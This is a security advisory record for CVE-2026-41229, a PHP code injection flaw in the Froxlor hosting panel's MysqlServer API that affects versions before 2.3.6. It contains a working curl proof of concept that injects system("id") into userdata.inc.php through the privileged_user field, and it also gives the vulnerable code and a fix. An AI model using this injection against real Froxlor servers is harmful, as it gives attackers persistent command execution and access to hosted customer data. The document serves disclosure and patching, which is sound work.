{"id":"GHSA-gc9w-cc93-rjv8","aliases":["CVE-2026-41229"],"title":"Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)","description":"## Summary\n\n`PhpHelper::parseArrayToString()` writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with `change_serversettings` permission adds or updates a MySQL server via the API, the `privileged_user` parameter (which has no input validation) is written unescaped into `lib/userdata.inc.php`. Since this file is `require`d on every request via `Database::getDB()`, an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.\n\n## Details\n\nThe root cause is in `PhpHelper::parseArrayToString()` at `lib/Froxlor/PhpHelper.php:486`:\n\n```php\n// lib/Froxlor/PhpHelper.php:475-487\nforeach ($array as $key => $value) {\n    if (!is_array($value)) {\n        if (is_bool($value)) {\n            $str .= self::tabPrefix($depth, sprintf(\"'%s' => %s,\\n\", $key, $value ? 'true' : 'false'));\n        } elseif (is_int($value)) {\n            $str .= self::tabPrefix($depth, \"'{$key}' => $value,\\n\");\n        } else {\n            if ($key == 'password') {\n                // special case for passwords (nowdoc)\n                $str .= self::tabPrefix($depth, \"'{$key}' => <<<'EOT'\\n{$value}\\nEOT,\\n\");\n            } else {\n                // VULNERABLE: $value interpolated without escaping single quotes\n                $str .= self::tabPrefix($depth, \"'{$key}' => '{$value}',\\n\");\n            }\n        }\n    }\n}\n```\n\nNote that the `password` key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including `user`, `caption`, and `caFile` — are written directly into single-quoted PHP string literals with no escaping.\n\nThe attack path through `MysqlServer::add()` (`lib/Froxlor/Api/Commands/MysqlServer.php:80`):\n\n1. `validateAccess()` (line 82) checks the caller is an admin with `change_serversettings`\n2. `privileged_user` is read via `getParam()` at line 88 with **no validation** applied\n3. `mysql_ca` is also read with no validation at line 86\n4. The values are placed into the `$sql_root` array at lines 150-160\n5. `generateNewUserData()` is called at line 162, which calls `PhpHelper::parseArrayToPhpFile()` → `parseArrayToString()`\n6. The result is written to `lib/userdata.inc.php` via `file_put_contents()` (line 548)\n7. Setting `test_connection=0` (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed\n\nThe generated `userdata.inc.php` is loaded on **every request** via `Database::getDB()` at `lib/Froxlor/Database/Database.php:431`:\n\n```php\nrequire Froxlor::getInstallDir() . \"/lib/userdata.inc.php\";\n```\n\nThe `MysqlServer::update()` method (line 337) has the identical vulnerability with `privileged_user` at line 387.\n\n## PoC\n\n**Step 1: Inject PHP code via MysqlServer.add API**\n\n```bash\ncurl -s -X POST https://froxlor.example/api.php \\\n  -u 'ADMIN_APIKEY:ADMIN_APISECRET' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"command\": \"MysqlServer.add\",\n    \"params\": {\n      \"mysql_host\": \"127.0.0.1\",\n      \"mysql_port\": 3306,\n      \"privileged_user\": \"x'\\''.system(\\\"id\\\").'\\''\",\n      \"privileged_password\": \"anything\",\n      \"description\": \"test\",\n      \"test_connection\": 0\n    }\n  }'\n```\n\nThis writes the following into `lib/userdata.inc.php`:\n\n```php\n'user' => 'x'.system(\"id\").'',\n```\n\n**Step 2: Trigger code execution**\n\nAny subsequent HTTP request to the Froxlor panel triggers `Database::getDB()`, which `require`s `userdata.inc.php`, executing `system(\"id\")` as the web server user:\n\n```bash\ncurl -s https://froxlor.example/\n```\n\nThe `id` output will appear in the response (or can be captured via out-of-band methods for blind execution).\n\n**Step 3: Cleanup (attacker would also clean up)**\n\nThe injected code runs on every request until `userdata.inc.php` is regenerated or manually fixed.\n\n## Impact\n\nAn admin with `change_serversettings` permission can escalate to **arbitrary OS command execution** as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:\n\n- **Full server compromise**: Execute arbitrary commands as the web server user (typically `www-data`)\n- **Data exfiltration**: Read all hosted customer data, databases credentials, TLS private keys\n- **Lateral movement**: Access all MySQL databases using credentials stored in `userdata.inc.php`\n- **Persistent backdoor**: The injected code executes on every request, providing persistent access\n- **Denial of service**: Malformed PHP in `userdata.inc.php` can break the entire panel\n\nThe `description` field (validated with `REGEX_DESC_TEXT = /^[^\\0\\r\\n<>]*$/`) and `mysql_ca` field (no validation) are also injectable vectors through the same code path.\n\n## Recommended Fix\n\nEscape single quotes in `PhpHelper::parseArrayToString()` before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only `\\'` and `\\\\` are interpreted, so both must be escaped:\n\n```php\n// lib/Froxlor/PhpHelper.php:486\n// Before (vulnerable):\n$str .= self::tabPrefix($depth, \"'{$key}' => '{$value}',\\n\");\n\n// After (fixed) - escape backslashes first, then single quotes:\n$escaped = str_replace(['\\\\', \"'\"], ['\\\\\\\\', \"\\\\'\"], $value);\n$str .= self::tabPrefix($depth, \"'{$key}' => '{$escaped}',\\n\");\n```\n\nAlternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:\n\n```php\n// Apply nowdoc to all string values, not just passwords:\n$str .= self::tabPrefix($depth, \"'{$key}' => <<<'EOT'\\n{$value}\\nEOT,\\n\");\n```\n\nAdditionally, consider adding input validation to `privileged_user` and `mysql_ca` in `MysqlServer::add()` and `MysqlServer::update()` as defense-in-depth.","severity":"critical","score":9.1,"published":"2026-04-16T00:50:00.000Z","modified":"2026-05-05T16:11:52.285Z","withdrawn":false,"knownExploited":false,"affected":[{"ecosystem":"Packagist","name":"froxlor/froxlor","ranges":[{"events":[{"introduced":"0"},{"fixed":"2.3.6"}],"type":"ECOSYSTEM"}],"versions":["0.10.0","0.10.0-rc1","0.10.0-rc2","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.17","0.10.18","0.10.19","0.10.2","0.10.20","0.10.21","0.10.22","0.10.23","0.10.23.1","0.10.24","0.10.25","0.10.26","0.10.27","0.10.28","0.10.29","0.10.29.1","0.10.3","0.10.30","0.10.31","0.10.32","0.10.33","0.10.34","0.10.34.1","0.10.35","0.10.35.1","0.10.36","0.10.37","0.10.38","0.10.38.1","0.10.38.2","0.10.38.3","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","2.0.0","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.1.0-beta1","2.1.0-beta2","2.1.0-rc1","2.1.0-rc2","2.1.0-rc3","2.1.1","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","2.2.0","2.2.0-rc1","2.2.0-rc2","2.2.0-rc3","2.2.1","2.2.2","2.2.3","2.2.4","2.2.5","2.2.6","2.2.7","2.2.8","2.3.0","2.3.0-rc1","2.3.1","2.3.2","2.3.3","2.3.4","2.3.5"],"fixed":["2.3.6"]}],"references":["https://github.com/froxlor/froxlor/security/advisories/GHSA-gc9w-cc93-rjv8","https://nvd.nist.gov/vuln/detail/CVE-2026-41229","https://github.com/froxlor/froxlor/commit/3589ddf93ab59eb2a8971f0f56cbf6266d03c4ae","https://github.com/froxlor/froxlor","https://github.com/froxlor/froxlor/releases/tag/2.3.6"],"sources":[{"name":"OSV","id":"GHSA-gc9w-cc93-rjv8","modified":"2026-05-05T16:11:52.285427Z","url":"https://osv.dev/vulnerability/GHSA-gc9w-cc93-rjv8"}],"assessments":[{"source":"OSV","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","score":9.1}]}